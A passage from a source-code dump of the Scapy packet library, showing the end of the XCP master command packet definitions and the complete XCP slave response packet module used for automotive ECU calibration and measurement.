XCPEndiannessField(IntField(\"address\", 0))\n    ]\n\n\nclass BuildChecksum(Packet):\n    # Build checksum over memory range\n    fields_desc = [\n        # specification says: position 1-3 type byte The example(Part 5\n        # Example Communication Sequences ) shows 3 bytes for \"reserved\"\n        # http://read.pudn.com/downloads192/doc/comm/903802/XCP%20-Part%205-%20Example%20Communication%20Sequences%20-1.0.pdf # noqa: E501\n        # --> 3 bytes\n        XCPEndiannessField(ThreeBytesField(\"reserved\", 0)),\n        XCPEndiannessField(XIntField(\"block_size\", 0))\n    ]\n\n\nclass TransportLayerCmd(Packet):\n    # Refer to transport layer specific command\n    sub_commands = {\n        0xFF: \"GET_SLAVE_ID\",\n        0xFE: \"GET_DAQ_ID\",\n        0xFD: \"SET_DAQ_ID\",\n    }\n    fields_desc = [\n        ByteEnumField(\"sub_command_code\", 0xFF, sub_commands),\n    ]\n\n\nclass TransportLayerCmdGetSlaveId(Packet):\n    echo_mode = {\n        0x00: \"identify_by_echo\",\n        0x01: \"confirm_by_inverse_echo\",\n    }\n\n    fields_desc = [\n        XByteField(\"x\", 0x58),  # ASCII = X\n        XByteField(\"c\", 0x43),  # ASCII = C\n        XByteField(\"p\", 0x50),  # ASCII = P\n        ByteEnumField(\"mode\", 0x00, echo_mode),\n    ]\n\n\nbind_layers(TransportLayerCmd, TransportLayerCmdGetSlaveId,\n            sub_command_code=0xFF)\n\n\nclass TransportLayerCmdGetDAQId(Packet):\n    fields_desc = [\n        XCPEndiannessField(ShortField(\"daq_list_number\", 0)),\n    ]\n\n\nbind_layers(TransportLayerCmd, TransportLayerCmdGetDAQId,\n            sub_command_code=0xFE)\n\n\nclass TransportLayerCmdSetDAQId(Packet):\n    sub_command = {\n        0xFD: \"SET_DAQ_ID\",\n    }\n    fields_desc = [\n        XCPEndiannessField(ShortField(\"daq_list_number\", 0)),\n        XCPEndiannessField(IntField(\"can_identifier\", 0))\n    ]\n\n\nbind_layers(TransportLayerCmd, TransportLayerCmdSetDAQId,\n            sub_command_code=0xFD)\n\n\nclass UserCmd(Packet):\n    # Refer to user defined command\n    fields_desc = [\n        ByteField(\"sub_command_code\", 0),\n    ]\n\n\n# Calibration Commands\n\nclass Download(Packet):\n    # Download from master to slave\n    fields_desc = [\n        ByteField(\"nr_of_data_elements\", 0),\n        ConditionalField(\n            StrLenField(\"alignment\", b\"\",\n                        length_from=lambda pkt: get_ag() - 2),\n            lambda pkt: get_ag() > 2),\n        StrLenField(\"data_elements\", b\"\",\n                    length_from=lambda pkt: get_max_cto() - 2 if get_ag() == 1\n                    else get_max_cto() - get_ag()),\n    ]\n\n\nclass DownloadNext(Download):\n    # Used for the download from master to slave in block mode\n    # Same as \"Download\", but with different command code\n    pass\n\n\nclass DownloadMax(Packet):\n    # Download from master to slave (fixed size)\n    fields_desc = [\n        ConditionalField(\n            StrLenField(\"alignment\", b\"\", length_from=lambda _: get_ag() - 1),\n            lambda _: get_ag() > 1),\n        StrLenField(\"data_elements\", b\"\",\n                    length_from=lambda _: get_max_cto() - (get_ag() * 2 - 1))\n    ]\n\n\nclass ShortDownload(Packet):\n    # Download from master to slave (short version)\n    fields_desc = [\n        FieldLenField(\"len\", None, length_of=\"data_elements\", fmt=\"B\"),\n        ByteField(\"reserved\", 0),\n        ByteField(\"address_extension\", 0),\n        XCPEndiannessField(IntField(\"address\", 0)),\n        StrVarLenField(\"data_elements\", b\"\", length_from=lambda p: p.len,\n                       max_length=lambda: get_max_cto() - 8)\n    ]\n\n\nclass ModifyBits(Packet):\n    # Modify bits\n    fields_desc = [\n        ByteField(\"shift_value\", 0),\n        XCPEndiannessField(ShortField(\"and_mask\", 0)),\n        XCPEndiannessField(ShortField(\"xor_mask\", 0))\n    ]\n\n\n# Page Switching commands\nclass SetCalPage(Packet):\n    \"\"\"Set calibration page\"\"\"\n    fields_desc = [\n        FlagsField(\"mode\", 0, 8,\n                   [\"ecu\", \"xcp\", \"x2\", \"x3\", \"x4\", \"x5\", \"x6\", \"all\"]),\n        ByteField(\"data_segment_num\", 0),\n        ByteField(\"data_page_num\", 0)\n    ]\n\n\nclass GetCalPage(Packet):\n    \"\"\"Get calibration page\"\"\"\n    fields_desc = [\n        ByteField(\"access_mode\", 0),\n        ByteField(\"data_segment_num\", 0)\n    ]\n\n\nclass GetPagProcessorInfo(Packet):\n    \"\"\"Get general information on PAG processor\"\"\"\n    pass\n\n\nclass GetSegmentInfo(Packet):\n    \"\"\"Get specific information for a SEGMENT\"\"\"\n    info_mode = {\n        0x00: \"get_basic_address_info\",\n        0x01: \"get_standard_info\",\n        0x02: \"get_address_mapping_info\"\n    }\n\n    fields_desc = [\n        ByteEnumField(\"mode\", 0x00, info_mode),\n        ByteField(\"segment_number\", 0),\n        ByteField(\"segment_info\", 0),\n        ByteField(\"mapping_index\", 0)\n\n    ]\n\n\nclass GetPageInfo(Packet):\n    \"\"\"Get specific information for a PAGE\"\"\"\n    fields_desc = [\n        ByteField(\"reserved\", 0),\n        ByteField(\"segment_number\", 0),\n        ByteField(\"page_number\", 0)\n    ]\n\n\nclass SetSegmentMode(Packet):\n    \"\"\"Set mode for a SEGMENT\"\"\"\n    fields_desc = [\n        FlagsField(\"mode\", 0, 8,\n                   [\"freeze\", \"x1\", \"x2\", \"x3\", \"x4\", \"x5\", \"x6\", \"x7\"]),\n        ByteField(\"segment_number\", 0)\n    ]\n\n\nclass GetSegmentMode(Packet):\n    \"\"\"Get mode for a SEGMENT\"\"\"\n    fields_desc = [\n        ByteField(\"reserved\", 0),\n        ByteField(\"segment_number\", 0)\n    ]\n\n\nclass CopyCalPage(Packet):\n    \"\"\"This command forces the slave to copy one calibration page to another.\n    This command is only available if more than one calibration page is defined\n    \"\"\"\n    fields_desc = [\n        ByteField(\"segment_num_src\", 0),\n        ByteField(\"page_num_src\", 0),\n        ByteField(\"segment_num_dst\", 0),\n        ByteField(\"page_num_dst\", 0)\n    ]\n\n\nclass SetDaqPtr(Packet):\n    \"\"\"Data acquisition and stimulation, static, mandatory\"\"\"\n    fields_desc = [\n        ByteField(\"reserved\", 0),\n        XCPEndiannessField(ShortField(\"daq_list_num\", 0)),\n        ByteField(\"odt_num\", 0),\n        ByteField(\"odt_entry_num\", 0)\n    ]\n\n\nclass WriteDaq(Packet):\n    \"\"\"Data acquisition and stimulation, static, mandatory\"\"\"\n    fields_desc = [\n        ByteField(\"bit_offset\", 0),\n        ByteField(\"size_of_daq_element\", 0),\n        ByteField(\"address_extension\", 0),\n        XCPEndiannessField(IntField(\"address\", 0))\n    ]\n\n\nclass SetDaqListMode(Packet):\n    \"\"\"Set mode for DAQ list\"\"\"\n    fields_desc = [\n        FlagsField(\"mode\", 0, 8,\n                   [\"x0\", \"direction\", \"x2\", \"x3\", \"timestamp\", \"pid_off\",\n                    \"x6\", \"x7\"]),\n        XCPEndiannessField(ShortField(\"daq_list_num\", 0)),\n        XCPEndiannessField(ShortField(\"event_channel_num\", 0)),\n        ByteField(\"transmission_rate_prescaler\", 0),\n        ByteField(\"daq_list_prio\", 0)\n    ]\n\n\nclass GetDaqListMode(Packet):\n    \"\"\"Get mode from DAQ list\"\"\"\n    fields_desc = [\n        ByteField(\"reserved\", 0),\n        XCPEndiannessField(ShortField(\"daq_list_number\", 0))\n    ]\n\n\nclass StartStopDaqList(Packet):\n    \"\"\"Start/stop/select DAQ list\"\"\"\n    mode_enum = {0x00: \"stop\", 0x01: \"start\", 0x02: \"select\"}\n    fields_desc = [\n        ByteEnumField(\"mode\", 0, mode_enum),\n        XCPEndiannessField(ShortField(\"daq_list_number\", 0))\n    ]\n\n\nclass StartStopSynch(Packet):\n    \"\"\"Start/stop DAQ lists (synchronously)\"\"\"\n    mode_enum = {0x00: \"stop\", 0x01: \"start\", 0x02: \"select\"}\n    fields_desc = [\n        ByteEnumField(\"mode\", 0x00, mode_enum)\n    ]\n\n\nclass ReadDaq(Packet):\n    \"\"\"Read element from ODT entry\"\"\"\n    pass\n\n\nclass GetDaqClock(Packet):\n    \"\"\"Get DAQ clock from slave\"\"\"\n    pass\n\n\nclass GetDaqProcessorInfo(Packet):\n    \"\"\"Get general information on DAQ processor\"\"\"\n    pass\n\n\nclass GetDaqResolutionInfo(Packet):\n    \"\"\"Get general information on DAQ processing resolutioin\"\"\"\n    pass\n\n\nclass GetDaqListInfo(Packet):\n    \"\"\"Get specific information for a DAQ list\"\"\"\n    fields_desc = [\n        ByteField(\"reserved\", 0),\n        XCPEndiannessField(ShortField(\"daq_list_num\", 0))\n    ]\n\n\nclass GetDaqEventInfo(Packet):\n    \"\"\"Get specific information for an event channel\"\"\"\n    fields_desc = [\n        ByteField(\"reserved\", 0),\n        XCPEndiannessField(ShortField(\"event_channel_num\", 0))\n    ]\n\n    # Cyclic data transfer - static configuration commands\n\n\nclass ClearDaqList(Packet):\n    \"\"\"Clear DAQ list configuration\"\"\"\n    fields_desc = [\n        ByteField(\"reserved\", 0),\n        XCPEndiannessField(ShortField(\"daq_list_num\", 0))\n    ]\n\n\n# Cyclic Data transfer - dynamic configuration commands\n\n\nclass FreeDaq(Packet):\n    \"\"\"Clear dynamic DAQ configuration\"\"\"\n    pass\n\n\nclass AllocDaq(Packet):\n    \"\"\"Allocate DAQ lists\"\"\"\n    fields_desc = [\n        ByteField(\"reserved\", 0),\n        XCPEndiannessField(ShortField(\"daq_count\", 0))\n    ]\n\n\nclass AllocOdt(Packet):\n    \"\"\"Allocate ODTs to a DAQ list\"\"\"\n    fields_desc = [\n        ByteField(\"reserved\", 0),\n        XCPEndiannessField(ShortField(\"daq_list_num\", 0)),\n        ByteField(\"odt_count\", 0)\n    ]\n\n\nclass AllocOdtEntry(Packet):\n    \"\"\"Allocate ODT entries to an ODT\"\"\"\n    fields_desc = [\n        ByteField(\"reserved\", 0),\n        XCPEndiannessField(ShortField(\"daq_list_num\", 0)),\n        ByteField(\"odt_num\", 0),\n        ByteField(\"odt_entries_count\", 0)\n    ]\n\n\n# Flash Programming commands\n\nclass ProgramStart(Packet):\n    \"\"\"Indicate the beginning of a programming sequence\"\"\"\n    pass\n\n\nclass ProgramClear(Packet):\n    \"\"\"Clear a part of non-volatile memory\"\"\"\n    access_mode = {0x00: \"absolute_access\", 0x01: \"functional_access\"}\n    fields_desc = [\n        ByteEnumField(\"mode\", 0, access_mode),\n        XCPEndiannessField(ShortField(\"reserved\", 0)),\n        XCPEndiannessField(IntField(\"clear_range\", 0))\n    ]\n\n\nclass Program(Download):\n    \"\"\"Program a non-volatile memory segment\"\"\"\n    # Same structure as \"Download\", but with different command code\n    pass\n\n\nclass ProgramReset(Packet):\n    \"\"\"Indicate the end of a programming sequence\"\"\"\n    pass\n\n\nclass GetPgmProcessorInfo(Packet):\n    \"\"\"Get general information on PGM processor\"\"\"\n    pass\n\n\nclass GetSectorInfo(Packet):\n    \"\"\"Get specific information for a SECTOR\"\"\"\n    address_mode = {0x00: \"get_address\", 0x01: \"get_length\"}\n    fields_desc = [\n        ByteEnumField(\"mode\", 0, address_mode),\n        ByteField(\"sector_number\", 0)\n    ]\n\n\nclass ProgramPrepare(Packet):\n    \"\"\"Prepare non-volatile memory programming\"\"\"\n    fields_desc = [\n        ByteField(\"not_used\", 0),\n        XCPEndiannessField(ShortField(\"code_size\", 0))\n    ]\n\n\nclass ProgramFormat(Packet):\n    \"\"\"Set data format before programming\"\"\"\n    fields_desc = [\n        ByteField(\"compression_method\", 0),\n        ByteField(\"encryption_mode\", 0),\n        ByteField(\"programming_method\", 0),\n        ByteField(\"access_method\", 0)\n    ]\n\n\nclass ProgramNext(Download):\n    \"\"\"Program a non-volatile memory segment (Block Mode)\"\"\"\n    # Same structure as \"Download\", but with different command code\n    pass\n\n\nclass ProgramMax(DownloadMax):\n    \"\"\"Program a non-volatile memory segment (fixed size)\"\"\"\n    # Same as \"DownloadMax\", but with different command code\n    pass\n\n\nclass ProgramVerify(Packet):\n    \"\"\"Program  Verify\"\"\"\n    start_mode = {\n        0x00: \"request_to_start_internal_routine\",\n        0x01: \"sending_verification_value\"\n    }\n    fields_desc = [\n        ByteEnumField(\"verification_mode\", 0, start_mode),\n        XCPEndiannessField(ShortField(\"verification_type\", 0)),\n        XCPEndiannessField(IntField(\"verification_value\", 0))\n    ]\n"
  },
  {
    "path": "scapy/contrib/automotive/xcp/cto_commands_slave.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Tabea Spahn <tabea.spahn@e-mundo.de>\n\n# scapy.contrib.status = skip\n\nfrom scapy.config import conf\nfrom scapy.contrib.automotive import log_automotive\nfrom scapy.contrib.automotive.xcp.utils import get_max_cto, get_ag, \\\n    XCPEndiannessField, StrVarLenField\nfrom scapy.fields import ByteEnumField, ByteField, ShortField, StrLenField, \\\n    FlagsField, IntField, ThreeBytesField, ConditionalField, XByteField, \\\n    StrField, LEShortField, XIntField, FieldLenField\nfrom scapy.packet import Packet\n\n\n# ##### CTO COMMANDS ######\n\n# STANDARD COMMANDS\n\nclass NegativeResponse(Packet):\n    \"\"\"Error Packet\"\"\"\n    error_code_enum = {\n        0x00: \"ERR_CMD_SYNCH\",\n        0x10: \"ERR_CMD_BUSY\",\n        0x11: \"ERR_DAQ_ACTIVE\",\n        0x12: \"ERR_PGM_ACTIVE\",\n        0x20: \"ERR_CMD_UNKNOWN\",\n        0x21: \"ERR_CMD_SYNTAX\",\n        0x22: \"ERR_OUT_OF_RANGE\",\n        0x23: \"ERR_WRITE_PROTECTED\",\n        0x24: \"ERR_ACCESS_DENIED\",\n        0x25: \"ERR_ACCESS_LOCKED\",\n        0x26: \"ERR_PAGE_NOT_VALID\",\n        0x27: \"ERR_MODE_NOT_VALID\",\n        0x28: \"ERR_SEGMENT_NOT_VALID\",\n        0x29: \"ERR_SEQUENCE\",\n        0x2A: \"ERR_DAQ_CONFIG\",\n        0x30: \"ERR_MEMORY_OVERFLOW\",\n        0x31: \"ERR_GENERIC\",\n        0x32: \"ERR_VERIFY\"\n    }\n    fields_desc = [\n        ByteEnumField(\"error_code\", 0, error_code_enum),\n        StrField(\"error_info\", \"\")\n    ]\n\n\nclass GenericResponse(Packet):\n    \"\"\"Command Response packet \"\"\"\n    fields_desc = [\n        StrField(\"command_response_data\", \"\")\n    ]\n\n\nclass ConnectPositiveResponse(Packet):\n    fields_desc = [\n        FlagsField(\"resource\", 0, 8,\n                   [\"cal_pag\", \"x1\", \"daq\", \"stim\", \"pgm\", \"x5\", \"x6\", \"x7\"]),\n        FlagsField(\"comm_mode_basic\", 0, 8,\n                   [\"byte_order\", \"address_granularity_0\",\n                    \"address_granularity_1\", \"x3\", \"x4\", \"x5\",\n                    \"slave_block_mode\", \"optional\"]),\n        ByteField(\"max_cto\", 0),\n        ConditionalField(ShortField(\"max_dto\", 0),\n                         lambda p: p.comm_mode_basic.byte_order),\n        ConditionalField(LEShortField(\"max_dto_le\", 0),\n                         lambda p: not p.comm_mode_basic.byte_order),\n        ByteField(\"xcp_protocol_layer_version_number_msb\", 1),\n        ByteField(\"xcp_transport_layer_version_number_msb\", 1)\n    ]\n\n    def post_dissection(self, pkt):\n        if conf.contribs[\"XCP\"][\"allow_byte_order_change\"]:\n            new_value = int(self.comm_mode_basic.byte_order)\n            if new_value != conf.contribs[\"XCP\"][\"byte_order\"]:\n                conf.contribs[\"XCP\"][\"byte_order\"] = new_value\n\n                desc = \"Big Endian\" if new_value else \"Little Endian\"\n                log_automotive.warning(\"Byte order changed to {0} because of received \"\n                                       \"positive connect packet\".format(desc))\n\n        if conf.contribs[\"XCP\"][\"allow_ag_change\"]:\n            conf.contribs[\"XCP\"][\n                \"Address_Granularity_Byte\"] = self.get_address_granularity()\n\n        if conf.contribs[\"XCP\"][\"allow_cto_and_dto_change\"]:\n            conf.contribs[\"XCP\"][\"MAX_CTO\"] = self.max_cto\n            conf.contribs[\"XCP\"][\"MAX_DTO\"] = self.max_dto or self.max_dto_le\n\n    def get_address_granularity(self):\n        comm_mode_basic = self.comm_mode_basic\n        if not comm_mode_basic.address_granularity_0 and \\\n                not comm_mode_basic.address_granularity_1:\n            return 1\n        if comm_mode_basic.address_granularity_0 and \\\n                not comm_mode_basic.address_granularity_1:\n            return 2\n        if not comm_mode_basic.address_granularity_0 and \\\n                comm_mode_basic.address_granularity_1:\n            return 4\n        else:\n            log_automotive.warning(\n                \"Getting address granularity from packet failed:\"\n                \"both flags are 1\")\n\n\nclass StatusPositiveResponse(Packet):\n    fields_desc = [\n        FlagsField(\"current_session_status\", 0, 8,\n                   [\"store_cal_req\", \"x1\", \"store_daq_req\",\n                    \"clear_daq_request\", \"x4\", \"x5\", \"daq_running\", \"resume\"]),\n        FlagsField(\"current_resource_protection_status\", 0, 8,\n                   [\"cal_pag\", \"x1\", \"daq\", \"stim\", \"pgm\", \"x5\", \"x6\", \"x7\"]),\n        ByteField(\"reserved\", 0),\n        XCPEndiannessField(ShortField(\"session_configuration_id\", 0))\n    ]\n\n\nclass CommonModeInfoPositiveResponse(Packet):\n    fields_desc = [\n        ByteField(\"reserved1\", 0),\n        FlagsField(\"comm_mode_optional\", 0, 8,\n                   [\"master_block_mode\", \"interleaved_mode\", \"x2\", \"x3\", \"x4\",\n                    \"x5\", \"x6\", \"x7\"]),\n        ByteField(\"reserved2\", 0),\n        ByteField(\"max_bs\", 0),\n        ByteField(\"min_st\", 0),\n        ByteField(\"queue_size\", 0),\n        ByteField(\"xcp_driver_version_number\", 0),\n    ]\n\n\nclass IdPositiveResponse(Packet):\n    fields_desc = [\n        ByteField(\"mode\", 0),\n        XCPEndiannessField(ShortField(\"reserved\", 0)),\n        XCPEndiannessField(FieldLenField(\"length\", None, length_of=\"element\",\n                                         fmt=\"I\")),\n        StrVarLenField(\"element\", b\"\", length_from=lambda p: p.length,\n                       max_length=lambda pkt: get_ag())\n    ]\n\n\nclass SeedPositiveResponse(Packet):\n    fields_desc = [\n        FieldLenField(\"seed_length\", None, length_of=\"seed\", fmt=\"B\"),\n        StrVarLenField(\"seed\", b\"\", length_from=lambda p: p.seed_length,\n                       max_length=lambda: get_max_cto() - 2)\n    ]\n\n\nclass UnlockPositiveResponse(Packet):\n    fields_desc = [\n        FlagsField(\"current_resource_protection_status\", 0, 8,\n                   [\"cal_pag\", \"x1\", \"daq\", \"stim\", \"pgm\", \"x5\", \"x6\", \"x7\"])\n    ]\n\n\nclass UploadPositiveResponse(Packet):\n    fields_desc = [\n        ConditionalField(\n            StrLenField(\"alignment\", b\"\",\n                        length_from=lambda pkt: get_ag() - 1),\n            lambda _: get_ag() > 1),\n        StrLenField(\"element\", b\"\",\n                    length_from=lambda pkt: get_max_cto() - get_ag()),\n    ]\n\n\nclass ShortUploadPositiveResponse(Packet):\n    fields_desc = [\n        ConditionalField(\n            StrLenField(\"alignment\", b\"\",\n                        length_from=lambda pkt: get_ag() - 1),\n            lambda _: get_ag() > 1),\n        StrLenField(\"element\", b\"\",\n                    length_from=lambda pkt: get_max_cto() - get_ag()),\n    ]\n\n\nclass ChecksumPositiveResponse(Packet):\n    checksum_type_dict = {\n        0x01: \"XCP_ADD_11\",\n        0x02: \"XCP_ADD_12\",\n        0x03: \"XCP_ADD_14\",\n        0x04: \"XCP_ADD_22\",\n        0x05: \"XCP_ADD_24\",\n        0x06: \"XCP_ADD_44\",\n        0x07: \"XCP_CRC_16\",\n        0x08: \"XCP_CRC_16_CITT\",\n        0x09: \"XCP_CRC_32\",\n        0xFF: \"XCP_USER_DEFINED\"\n    }\n    fields_desc = [\n        ByteEnumField(\"checksum_type\", 0, checksum_type_dict),\n        # specification says: position 2,3 type byte (not WORD) The example(\n        # Part 5 Example Communication Sequences) shows 2 bytes for\n        # \"reserved\"\n        # http://read.pudn.com/downloads192/doc/comm/903802/XCP%20-Part%205-%20Example%20Communication%20Sequences%20-1.0.pdf # noqa: E501\n        # --> 2 bytes\n        XCPEndiannessField(ShortField(\"reserved\", 0)),\n        XCPEndiannessField(XIntField(\"checksum\", 0)),\n    ]\n\n\nclass TransportLayerCmdGetSlaveIdResponse(Packet):\n    fields_desc = [\n        XByteField(\"position_1\", 0x58),  # 0xA7 (inversed echo)\n        XByteField(\"position_2\", 0x43),  # 0xBC (inversed echo)\n        XByteField(\"position_3\", 0x50),  # 0xAF (inversed echo)\n        XCPEndiannessField(IntField(\"can_identifier\", 0))\n    ]\n\n\nclass TransportLayerCmdGetDAQIdResponse(Packet):\n    can_id_fixed_enum = {\n        0x00: \"configurable\",\n        0x01: \"fixed\"\n    }\n    fields_desc = [\n        ByteEnumField(\"can_id_fixed\", 0xFE, can_id_fixed_enum),\n        XCPEndiannessField(ShortField(\"reserved\", 0)),\n        XCPEndiannessField(IntField(\"can_identifier\", 0))\n    ]\n\n\nclass CalPagePositiveResponse(Packet):\n    fields_desc = [\n        ByteField(\"reserved_1\", 0),\n        ByteField(\"reserved_2\", 0),\n        ByteField(\"logical_data_page_number\", 0),\n    ]\n\n\nclass PagProcessorInfoPositiveResponse(Packet):\n    fields_desc = [\n        ByteField(\"max_segment\", 0),\n        FlagsField(\"pag_properties\", 0, 8,\n                   [\"freeze_supported\", \"x1\", \"x2\", \"x3\", \"x4\", \"x5\", \"x6\",\n                    \"x7\"]),\n    ]\n\n\nclass SegmentInfoMode0PositiveResponse(Packet):\n    fields_desc = [\n        # spec: position 1-3: type byte\n        # --> take position over type\n        XCPEndiannessField(ThreeBytesField(\"reserved\", 0)),\n        XCPEndiannessField(IntField(\"basic_info\", 0)),\n    ]\n\n\nclass SegmentInfoMode1PositiveResponse(Packet):\n    fields_desc = [\n        ByteField(\"max_pages\", 0),\n        ByteField(\"address_extension\", 0),\n        ByteField(\"max_extension\", 0),\n        ByteField(\"compression_method\", 0),\n        ByteField(\"encryption_method\", 0),\n    ]\n\n\nclass SegmentInfoMode2PositiveResponse(Packet):\n    fields_desc = [\n        # spec:  position 1-3: type byte\n        # --> take position over type\n        XCPEndiannessField(ThreeBytesField(\"reserved\", 0)),\n        XCPEndiannessField(IntField(\"mapping_info\", 0)),\n    ]\n\n\nclass PageInfoPositiveResponse(Packet):\n    fields_desc = [\n        FlagsField(\"page_properties\", 0, 8,\n                   [\"ecu_access_without_xcp\", \"ecu_access_with_xcp\",\n                    \"xcp_read_access_without_ecu\", \"xcp_read_access_with_ecu\",\n                    \"xcp_write_access_without_ecu\",\n                    \"xcp_write_access_with_ecu\", \"x6\", \"x7\"]),\n        ByteField(\"init_segment\", 0),\n    ]\n\n\nclass SegmentModePositiveResponse(Packet):\n    fields_desc = [\n        ByteField(\"reserved\", 0),\n        FlagsField(\"mode\", 0, 8,\n                   [\"freeze\", \"x1\", \"x2\", \"x3\", \"x4\", \"x5\", \"x6\", \"x7\"]),\n    ]\n\n\nclass DAQListModePositiveResponse(Packet):\n    fields_desc = [\n        FlagsField(\"current_mode\", 0, 8,\n                   [\"selected\", \"direction\", \"x2\", \"x3\", \"timestamp\",\n                    \"pid_off\", \"running\", \"resume\"]),\n        XCPEndiannessField(ShortField(\"reserved\", 0)),\n        XCPEndiannessField(ShortField(\"current_event_channel_number\", 0)),\n        ByteField(\"current_prescaler\", 0),\n        ByteField(\"current_daq_list_priority\", 0),\n    ]\n\n\nclass StartStopDAQListPositiveResponse(Packet):\n    fields_desc = [\n        ByteField(\"first_pid\", 0),\n    ]\n\n\nclass DAQClockListPositiveResponse(Packet):\n    fields_desc = [\n        # spec: position 1-3: type byte\n        # --> take position over type\n        XCPEndiannessField(ThreeBytesField(\"reserved\", 0)),\n        XCPEndiannessField(IntField(\"receive_timestamp\", 0))\n    ]\n\n\nclass ReadDAQPositiveResponse(Packet):\n    fields_desc = [\n        ByteField(\"bit_offset\", 0),\n        ByteField(\"size_daq_element\", 0),\n        ByteField(\"address_extension_daq_element\", 0),\n        XCPEndiannessField(IntField(\"daq_element_address\", 0))\n    ]\n\n\nclass DAQProcessorInfoPositiveResponse(Packet):\n    fields_desc = [\n        FlagsField(\"daq_properties\", 0, 8,\n                   [\"daq_config_type\", \"prescaler_supported\",\n                    \"resume_supported\", \"bit_stim_supported\",\n                    \"timestamp_supported\", \"pid_off_supported\", \"overload_msb\",\n                    \"overload_event\"]),\n        XCPEndiannessField(ShortField(\"max_daq\", 0)),\n        XCPEndiannessField(ShortField(\"max_event_channel\", 0)),\n        ByteField(\"min_daq\", 0),\n        FlagsField(\"daq_key_byte\", 0, 8,\n                   [\"optimisation_type_0\", \"optimisation_type_1\",\n                    \"optimisation_type_2\", \"optimisation_type_3\",\n                    \"address_extension_odt\", \"address_extension_daq\",\n                    \"identification_field_type_0\",\n                    \"identification_field_type_1\"]),\n    ]\n\n    def write_identification_field_type_to_config(self):\n        conf.contribs[\"XCP\"][\n            \"identification_field_type_0\"] = bool(\n            self.daq_key_byte.identification_field_type_0)\n        conf.contribs[\"XCP\"][\n            \"identification_field_type_1\"] = bool(\n            self.daq_key_byte.identification_field_type_1)\n\n    def post_dissection(self, pkt):\n        self.write_identification_field_type_to_config()\n\n\nclass DAQResolutionInfoPositiveResponse(Packet):\n    fields_desc = [\n        ByteField(\"granularity_odt_entry_size_daq\", 0),\n        ByteField(\"max_odt_entry_size_daq\", 0),\n        ByteField(\"granularity_odt_entry_size_stim\", 0),\n        ByteField(\"max_odt_entry_size_stim\", 0),\n        FlagsField(\"timestamp_mode\", 0, 8,\n                   [\"size_0\", \"size_1\", \"size_2\", \"timestamp_fixed\", \"unit_0\",\n                    \"unit_1\", \"unit_2\", \"unit_3\"]),\n        XCPEndiannessField(ShortField(\"timestamp_ticks\", 0)),\n    ]\n\n    def get_timestamp_size(self):\n        size_0 = bool(self.timestamp_mode.size_0)\n        size_1 = bool(self.timestamp_mode.size_1)\n        size_2 = bool(self.timestamp_mode.size_2)\n\n        if not size_2 and not size_1 == 0 and size_0:\n            return 1\n        if not size_2 and size_1 and not size_0:\n            return 2\n        if size_2 and not size_1 and not size_0:\n            return 4\n        return 0\n\n    def write_timestamp_size_to_config(self):\n        conf.contribs[\"XCP\"][\"timestamp_size\"] = self.get_timestamp_size()\n\n    def post_dissection(self, pkt):\n        self.write_timestamp_size_to_config()\n\n\nclass DAQListInfoPositiveResponse(Packet):\n    fields_desc = [\n        FlagsField(\"daq_list_properties\", 0, 8,\n                   [\"predefined\", \"event_fixed\", \"daq\", \"stim\", \"x4\", \"x5\",\n                    \"x6\", \"x7\"]),\n        ByteField(\"max_odt\", 0),\n        ByteField(\"max_odt_entries\", 0),\n        XCPEndiannessField(ShortField(\"fixed_event\", 0)),\n    ]\n\n\nclass DAQEventInfoPositiveResponse(Packet):\n    fields_desc = [\n        FlagsField(\"daq_event_properties\", 0, 8,\n                   [\"x0\", \"x1\", \"daq\", \"stim\", \"x4\", \"x5\", \"x6\", \"x7\"]),\n        ByteField(\"max_daq_list\", 0),\n        ByteField(\"event_channel_name_length\", 0),\n        ByteField(\"event_channel_time_cycle\", 0),\n        ByteField(\"event_channel_time_unit\", 0),\n        ByteField(\"event_channel_priority\", 0),\n    ]\n\n\nclass ProgramStartPositiveResponse(Packet):\n    fields_desc = [\n        ByteField(\"reserved\", 0),\n        FlagsField(\"comm_mode_pgm\", 0, 8,\n                   [\"master_block_mode\", \"interleaved_mode\", \"x2\", \"x3\", \"x4\",\n                    \"x5\", \"slave_block_mode\", \"x7\"]),\n        ByteField(\"max_cto_pgm\", 0),\n        ByteField(\"max_bs_pgm\", 0),\n        ByteField(\"min_bs_pgm\", 0),\n        ByteField(\"queue_size_pgm\", 0),\n    ]\n\n\nclass PgmProcessorPositiveResponse(Packet):\n    fields_desc = [\n        FlagsField(\"pgm_properties\", 0, 8,\n                   [\"absolute_mode\", \"functional_mode\",\n                    \"compression_supported\", \"compression_required\",\n                    \"encryption_supported\", \"encryption_required\",\n                    \"non_seq_pgm_supported\", \"non_seq_pgm_required\"]),\n        ByteField(\"max_sector\", 0),\n    ]\n\n\nclass SectorInfoPositiveResponse(Packet):\n    fields_desc = [\n        ByteField(\"clear_sequence_number\", 0),\n        ByteField(\"program_sequence_number\", 0),\n        ByteField(\"programming_method\", 0),\n        XCPEndiannessField(IntField(\"sector_info\", 0))\n    ]\n\n\nclass EvPacket(Packet):\n    \"\"\"Event packet\"\"\"\n    event_code_enum = {\n        0x00: \"EV_RESUME_MODE\",\n        0x01: \"EV_CLEAR_DAQ\",\n        0x02: \"EV_STORE_DAQ\",\n        0x03: \"EV_STORE_CAL\",\n        0x05: \"EV_CMD_PENDING\",\n        0x06: \"EV_DAQ_OVERLOAD\",\n        0x07: \"EV_SESSION_TERMINATED\",\n        0xFE: \"EV_USER\",\n        0xFF: \"EV_TRANSPORT\",\n    }\n    fields_desc = [\n        ByteEnumField(\"event_code\", 0, event_code_enum),\n        StrLenField(\"event_information_data\", b\"\",\n                    max_length=lambda _: get_max_cto() - 2)\n    ]\n\n\nclass ServPacket(Packet):\n    \"\"\"Service Request packet\"\"\"\n    service_request_code_enum = {\n        0x00: \"SERV_RESET\",\n        0x01: \"SERV_TEXT\",\n    }\n\n    fields_desc = [\n        ByteEnumField(\"service_request_code\", 0, service_request_code_enum),\n        StrLenField(\"command_response_data\", b\"\",\n                    max_length=lambda _: get_max_cto() - 2)\n    ]\n"
  },
  {
    "path": "scapy/contrib/automotive/xcp/scanner.py",
